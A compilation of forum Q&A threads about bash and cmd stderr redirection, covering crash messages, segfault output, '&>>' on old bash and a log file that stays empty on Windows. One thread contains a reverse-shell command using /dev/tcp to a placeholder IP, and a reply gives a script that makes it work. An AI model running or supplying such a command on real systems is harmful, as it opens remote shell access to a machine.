I have a program that crashes. I know it does, it's supposed to in order to test some trap handling. The crash is expected behavior.
When I run the program from ksh, the shell insists on printing helpful little messages like:
./fpe.ksh: line 9: 105778: Floating exception
How do I make it stop that? I want the shell script to ignore the crash and keep going,
without the error message.
For whatever program is on line 9:
program 2> >(sed '/FLoating exception/d')
Find the command that it's erroring and add 2>&1 to the end e.g:
command > /dev/null 2>&1
Related
I have a third-part software that accepts command line arguments. I want to pipe the output in a file. I have found that for some inexplicable reasons the code hangs if I try:
./run_third_part.py &> log
but it works if
./run_third_part.py
I believe that piping the output is messing up with the process of reading command line arguments, although other ideas are welcome. How can I isolate the program from the pipe command? (I was thinking about putting some sort of parentheses.)
Probably the script is waiting for input on an interactive prompt. The easiest way around this is usually to give it some input:
./run_third_part.py < /dev/null &> log
Can you try creating a subshell and run the script,
bash$ `./run_third_part.py` &> log
Please notice ` is not '
(single quote)
I am running Windows 10 and am trying to save the error output of a test.sh file to a text file.
So I created the test.sh file and wrote an unkown command in it (i.e. "blablubb").
After that I open the terminal (cmd.exe), switch to the directory and type test.sh 2>> log.txt.
Another window opens with "/usr/bin/bash --login -i \test.sh" in the title bar, shows me "bash: blablubb: command not found" and then closes immediately.
I want to save that output because the bash-window just opens for a split second. Every google search brings me to websites talking about redirecting the output and that Stream2 ist STDERR and therefore I should use test.sh 2>> log.txt or something smiliar that takes care of the STDERR stream.
If I try the same with a test.sh file and the content:
#!/bin/bash
echo hi there
I get the output in the briefly open bash-window:
bash: #!/bin/bash: No such file or directory
hi there
But the log.txt file is empty.
If I only have echo hi therein the test.sh file I get bash: echo: command not found in the bash-window.
The log.txt also empty.
If I type the following directly in the terminal, the output is written in the log.txt:
echo hi > log.txt 2>&1
If I type directly in the terminal:
echdo hi > log.txt 2>&1
I get 'Der Befehl "echdo" ist entweder falsch geschrieben oder konnte nicht gefunden werden.' in the log.txt file.
So I guess the redirecting of the output works fine until I use test.sh.
I know that .sh files are something from the unix world and that the problem might lie there but I don't know why I can not redirect the output briefly shown in the bash-console to a text file.
The 2>> redirection syntax only works if the command line containing that syntax is interpreted by bash. So it won't work from the Windows command prompt, even if the program you are running happens to be written in bash. By the time bash is running, it's too late; it gets the arguments as they were interpreted by CMD or whatever your Windows command interpreter is. (In this case, I'm guessing that means the shell script will find it has a command line argument [$1] with the value "2".)
If you open up a bash window (or just type bash in the command one) and then type the test.sh 2>>log.txt command line in that shell, it will put the error message in the file as you expect.
I think you could also do it in one step by typing bash -c "test.sh 2>>log.txt" at the Windows command prompt, but I'm not sure; Windows quoting is different than *nix quoting, and that may wind up passing literal quotation marks to bash, which won't work.
Note that CMD does have the 2>> syntax as well, and if you try to run a nonexistent windows command with 2>>errlog.txt, the "is not recognized" error message goes to the file. I think the problem comes from the fact that CMD and bash disagree on what "standard error" means, so redirecting the error output from Windows doesn't catch the error output by bash. But that's just speculation; I don't have a bash-on-Windows setup handy to test.
It would help to know if you are running Windows Subsystem for Linux (Beta). Or if you are doing something else. I'm assuming this is what you are doing on windows 10.
If this is the case are you using bash to run the script?
Are you using win-bash?
If it is win-bash I'm not very familiar and would recommend Windows Subsystem for Linux (Beta) for reasons like this. win-bash, while cool, might not be compatible with redirection operators like 2>>.
You have stdout and stderr, by default (if you don't specify) the >> (or append) will only append standard output into the txt file.
If you use 2 it will append the standard error into the txt file. Example: test.sh 2>> log.txt
This could be better described at this site.
To get exactly the command for append both stdout and stderr, go to this page.
Please tell me if this doesn't answer your question. Also, it could be more valuable to attempt a search for this answer first and explain why your search found nothing or give more extensive clarification as to what the problem is. I love answering questions and helping, but creating a new forum page for what might be an easy answer may be ineffective. I've had a bunch of fun with your question. I hope that I've helped.
That's makes a lot of sense. Thanks Mark!
Taking what mark says into account I would get Windows Subsystem for Linux (Beta). There are instructions here. Then run your script from there.
I am running the following command from maple (the function system works just like functions such as os.system from python):
system("bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1")
However, it fails and this is the output:
bash: no job control in this shell bash: &: No such file or directory
Exit Value: 127
The weird thing is that the command works great when calling it from Terminal...
Any suggestions of how I could fix this?
"No job control" means that you can't bring background jobs into the foreground when running an interactive shell.
I would focus the analysis on the wording of the second error message. We know from it that bash is running. My guess is that Maple (not knowing the meaning of the > WORD construct in bash) tokenizes the string along the white space, and then does something like execv("bash", "bash", "-i>0", "/dev/tcp/myownip/myport"). At least this would explain the error message.
Could you try the following? Create a stand-alone two-line bash script like this:
#!/usr/bin/bash
bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1
Set it to executable, and then invoke it from Maple with
system("yourpath/yourscript")
At least the error message No such file or directory should be gone.
At the beggining of my file I redirect stderr to stdout, and stdout to logfile, quick and lazy way to log everything printed.
During my script, some commands have large/unused output and I want to redirect them to my logfile without their output showing on stdout.
I tried to use /etc/init.d/myservice stop &>> file.log, but always ending up with the error "... syntax error near unexpected token `>'"
Bash version is 3.2.25(1)-release
That syntax wasn't introduced until bash 4. You can do the same thing though with
/etc/init.d/myservice stop >> file.log 2>&1
as noted here
I am writing some testing scripts and want to catch all error output and write it to an error log as well as all regular output and write that to a separate log. I am using a command of the form
cmd > output.file 2> error.file
The command I am writing test scripts for can cause a segmentation fault. When the command segfaults, bash still prints out segmentation fault to the terminal.
I want this to not happen or get redirected along with standard error.
Is it possible? It must be of bash's doing because both output streams are being redirected.
bash -c 'cmd >output.file 2>error.file' >bash_output.file 2>&1
I don't think segfaults are part of your program's output from the shell's point of view. So use
Expect for more reliable output
http://en.wikipedia.org/wiki/Expect